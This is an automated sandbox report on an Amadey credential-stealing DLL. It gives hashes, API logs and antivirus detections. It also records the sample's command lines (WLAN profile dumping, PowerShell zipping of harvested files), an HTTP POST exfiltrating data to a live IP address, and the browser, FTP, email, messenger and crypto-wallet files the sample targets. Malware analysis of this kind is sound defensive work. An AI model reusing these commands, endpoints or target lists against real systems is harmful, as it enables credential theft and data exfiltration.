Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	April 28, 2025, 10:10 a.m.	April 28, 2025, 10:15 a.m.

Size	1.0MB
Type	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
MD5	`69aba41ff3745b625a9e73b0f167b0e2`
SHA256	`d89ad3798e970296fa0129be179c3ffe5d280da96774cbef7647e57918ea7f1b`
CRC32	`A9E277BE`
ssdeep	`24576:of5xDRatdGrWrz4x8/cvmGwDM1H2BPdEnunN1ljhzgPnvzJnRVI5g:of5xVaU24WGmhkXzFU5g`
Yara	PE_Header_Zero - PE File Signature IsDLL - (no description) Malicious_Library_Zero - Malicious_Library IsPE32 - (no description) Generic_Malware_Zero - Generic Malware OS_Processor_Check_Zero - OS Processor Check UPX_Zero - UPX packed file

rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\cred.dll,Main
1372
- netsh.exe netsh wlan show profiles
  2232
- powershell.exe powershell -Command Compress-Archive -Path 'C:\Users\test22\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\test22\AppData\Local\Temp\832866432405_Desktop.zip' -CompressionLevel Optimal
  2372
rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\cred.dll,Save
2052
rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\cred.dll,
2152
explorer.exe C:\Windows\Explorer.EXE
1236

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
185.39.17.163	Active	Moloch
88.214.48.26	Active	Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (6 events)

Time & API	Arguments	Status	Return
GetComputerNameW April 28, 2025, 10:10 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 28, 2025, 10:10 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 28, 2025, 10:10 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 28, 2025, 10:10 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA April 28, 2025, 10:11 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 28, 2025, 10:11 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (3 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent April 28, 2025, 10:10 a.m.			0	0
IsDebuggerPresent April 28, 2025, 10:10 a.m.			0	0
IsDebuggerPresent April 28, 2025, 10:10 a.m.			0	0

Uses Windows APIs to generate a cryptographic key (46 events)

Time & API	Arguments	Status	Return
CryptExportKey April 28, 2025, 10:10 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000354da0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 28, 2025, 10:10 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b2996a0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 28, 2025, 10:10 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b2996a0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 28, 2025, 10:10 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b2996a0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 28, 2025, 10:10 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b299710 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 28, 2025, 10:10 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b299710 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 28, 2025, 10:10 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b2999b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 28, 2025, 10:10 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b2999b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 28, 2025, 10:10 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b2999b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 28, 2025, 10:10 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b2999b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 28, 2025, 10:10 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b299c50 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 28, 2025, 10:10 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b299c50 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 28, 2025, 10:10 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b299c50 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 28, 2025, 10:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b299940 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 28, 2025, 10:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b299940 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 28, 2025, 10:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b299940 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 28, 2025, 10:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b29a120 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 28, 2025, 10:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b29a120 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 28, 2025, 10:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b29a120 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 28, 2025, 10:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b29a120 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 28, 2025, 10:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b29a120 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 28, 2025, 10:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b29a120 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 28, 2025, 10:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b29a120 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 28, 2025, 10:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b29a120 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 28, 2025, 10:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b29a190 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 28, 2025, 10:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b29a190 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 28, 2025, 10:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b29a190 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 28, 2025, 10:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b29a200 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 28, 2025, 10:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b29a200 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 28, 2025, 10:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000354fd0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 28, 2025, 10:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000354fd0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 28, 2025, 10:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000003550b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 28, 2025, 10:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000003550b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 28, 2025, 10:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000003550b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 28, 2025, 10:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b27e5d0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 28, 2025, 10:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b27e5d0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 28, 2025, 10:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000336ae0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 28, 2025, 10:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000336ae0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 28, 2025, 10:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b2bfa80 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 28, 2025, 10:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b2bfa80 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 28, 2025, 10:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b2bfd90 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 28, 2025, 10:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b2bfd90 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 28, 2025, 10:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000003550b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 28, 2025, 10:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000003550b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 28, 2025, 10:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000003550b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 28, 2025, 10:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000003550b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

Tries to locate where the browsers are installed (2 events)

file	C:\Program Files\Mozilla Firefox\firefox.exe
registry	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\firefox.exe

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx April 28, 2025, 10:10 a.m.		1	1	0

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

POST method with no referer header, POST method with no useragent header, Connection to IP address

suspicious_request

POST http://185.39.17.163/Su8kud7i/index.php

Performs some HTTP requests (1 event)

request

POST http://185.39.17.163/Su8kud7i/index.php

Sends data using the HTTP POST Method (1 event)

request

POST http://185.39.17.163/Su8kud7i/index.php

Allocates read-write-execute memory (usually to unpack itself) (50 out of 203 events)

Time & API	Arguments	Status
NtProtectVirtualMemory April 28, 2025, 10:10 a.m.	process_identifier: 1372 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x743b7000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 28, 2025, 10:10 a.m.	process_identifier: 1372 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x76971000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 28, 2025, 10:10 a.m.	process_identifier: 1372 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75931000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 28, 2025, 10:10 a.m.	process_identifier: 1372 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x76e01000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 28, 2025, 10:10 a.m.	process_identifier: 1372 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x752e1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 28, 2025, 10:10 a.m.	process_identifier: 1372 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x744f1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 28, 2025, 10:10 a.m.	process_identifier: 1372 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74480000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 28, 2025, 10:10 a.m.	process_identifier: 1372 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74451000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 28, 2025, 10:10 a.m.	process_identifier: 1372 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x742a8000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 28, 2025, 10:10 a.m.	process_identifier: 1372 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x740b5000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 28, 2025, 10:10 a.m.	process_identifier: 1372 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75201000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 28, 2025, 10:10 a.m.	process_identifier: 1372 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73f51000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 28, 2025, 10:10 a.m.	process_identifier: 1372 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73f3a000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 28, 2025, 10:10 a.m.	process_identifier: 1372 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74442000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 28, 2025, 10:10 a.m.	process_identifier: 1372 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73ec3000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 28, 2025, 10:10 a.m.	process_identifier: 1372 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73ce1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 28, 2025, 10:10 a.m.	process_identifier: 1372 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x758f1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 28, 2025, 10:11 a.m.	process_identifier: 1372 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x76bd1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 28, 2025, 10:11 a.m.	process_identifier: 1372 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x756f1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 28, 2025, 10:11 a.m.	process_identifier: 1372 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74fe1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 28, 2025, 10:10 a.m.	process_identifier: 2052 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x743b7000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 28, 2025, 10:10 a.m.	process_identifier: 2052 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x76971000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 28, 2025, 10:10 a.m.	process_identifier: 2052 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75931000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 28, 2025, 10:10 a.m.	process_identifier: 2052 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x76e01000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 28, 2025, 10:10 a.m.	process_identifier: 2052 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x752e1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 28, 2025, 10:10 a.m.	process_identifier: 2052 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x744f1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 28, 2025, 10:10 a.m.	process_identifier: 2052 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74480000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 28, 2025, 10:10 a.m.	process_identifier: 2052 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74451000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 28, 2025, 10:10 a.m.	process_identifier: 2372 region_size: 983040 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002560000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 28, 2025, 10:10 a.m.	process_identifier: 2372 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000025d0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 28, 2025, 10:10 a.m.	process_identifier: 2372 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2f51000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 28, 2025, 10:10 a.m.	process_identifier: 2372 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef31ce000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 28, 2025, 10:10 a.m.	process_identifier: 2372 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef31ce000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 28, 2025, 10:10 a.m.	process_identifier: 2372 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef31cf000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 28, 2025, 10:10 a.m.	process_identifier: 2372 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef31cf000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 28, 2025, 10:10 a.m.	process_identifier: 2372 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef31cf000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 28, 2025, 10:10 a.m.	process_identifier: 2372 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef31cf000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 28, 2025, 10:10 a.m.	process_identifier: 2372 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef31cf000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 28, 2025, 10:10 a.m.	process_identifier: 2372 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef31cf000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 28, 2025, 10:10 a.m.	process_identifier: 2372 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef31cf000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 28, 2025, 10:10 a.m.	process_identifier: 2372 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef31cf000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 28, 2025, 10:10 a.m.	process_identifier: 2372 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef31d0000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 28, 2025, 10:10 a.m.	process_identifier: 2372 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef31d0000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 28, 2025, 10:10 a.m.	process_identifier: 2372 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef31d0000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 28, 2025, 10:10 a.m.	process_identifier: 2372 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef31d0000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 28, 2025, 10:10 a.m.	process_identifier: 2372 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef31d0000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 28, 2025, 10:10 a.m.	process_identifier: 2372 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef31d1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 28, 2025, 10:10 a.m.	process_identifier: 2372 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef31d1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 28, 2025, 10:10 a.m.	process_identifier: 2372 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef31d1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 28, 2025, 10:10 a.m.	process_identifier: 2372 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef31d1000 process_handle: 0xffffffffffffffff	1

Steals private information from local Internet browsers (5 events)

file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local State
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Login Data-journal
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Login Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Login Data-wal
file	C:\Users\test22\AppData\Local\Chromium\User Data\Default\Login Data

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (1 event)

cmdline

powershell -Command Compress-Archive -Path 'C:\Users\test22\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\test22\AppData\Local\Temp\832866432405_Desktop.zip' -CompressionLevel Optimal

Searches running processes potentially to identify processes for sandbox evasion, code injection or memory dumping (2 events)

Time & API	Arguments	Status	Return	Repeated
Process32NextW April 28, 2025, 10:10 a.m.	snapshot_handle: 0x00000190 process_name: SearchProtocolHost.exe process_identifier: 1476	1	1	0
Process32NextW April 28, 2025, 10:10 a.m.	snapshot_handle: 0x00000190 process_name: rundll32.exe process_identifier: 1372	1	1	0

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW April 28, 2025, 10:10 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Uses Windows utilities for basic Windows functionality (1 event)

cmdline

netsh wlan show profiles

Communicates with host for which no DNS query was performed (2 events)

host	185.39.17.163
host	88.214.48.26

Attempts to access Bitcoin/ALTCoin wallets (2 events)

file	C:\Users\test22\AppData\Roaming\Electrum\wallets
file	C:\Users\test22\AppData\Roaming\Litecoin\wallets

Harvests credentials from local FTP client softwares (2 events)

file	C:\Users\test22\AppData\Roaming\FileZilla\sitemanager.xml
registry	HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Harvests information related to installed instant messenger clients (9 events)

file	C:\Windows\System32\.purple\accounts.xml
file	C:\.purple\accounts.xml
file	C:\Program Files (x86)\Internet Explorer\.purple\accounts.xml
file	C:\Program Files (x86)\Microsoft Office\Office15\.purple\accounts.xml
file	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\.purple\accounts.xml
file	C:\Users\test22\AppData\Roaming\.purple\accounts.xml
file	C:\Windows\SysWOW64\.purple\accounts.xml
file	C:\Program Files (x86)\EditPlus\.purple\accounts.xml
file	C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\.purple\accounts.xml

Harvests credentials from local email clients (3 events)

registry	HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles
registry	HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
registry	HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\ddb0922fc50b8d42be5a821ede840761

File has been identified by 50 AntiVirus engines on VirusTotal as malicious (50 events)

Cynet	Malicious (score: 100)
CTX	dll.trojan.amadey
CAT-QuickHeal	Trojan.Multi
Skyhigh	BehavesLike.Win32.Generic.th
ALYac	Gen:Variant.Lazy.492566
Cylance	Unsafe
VIPRE	Gen:Variant.Lazy.492566
Sangfor	Trojan.Win32.Save.a
CrowdStrike	win/malicious_confidence_100% (W)
Alibaba	TrojanDownloader:Win32/Amadey.7e35b0b4
K7GW	Trojan-Downloader ( 005a0ec91 )
K7AntiVirus	Trojan-Downloader ( 005a0ec91 )
Arcabit	Trojan.Lazy.D78416
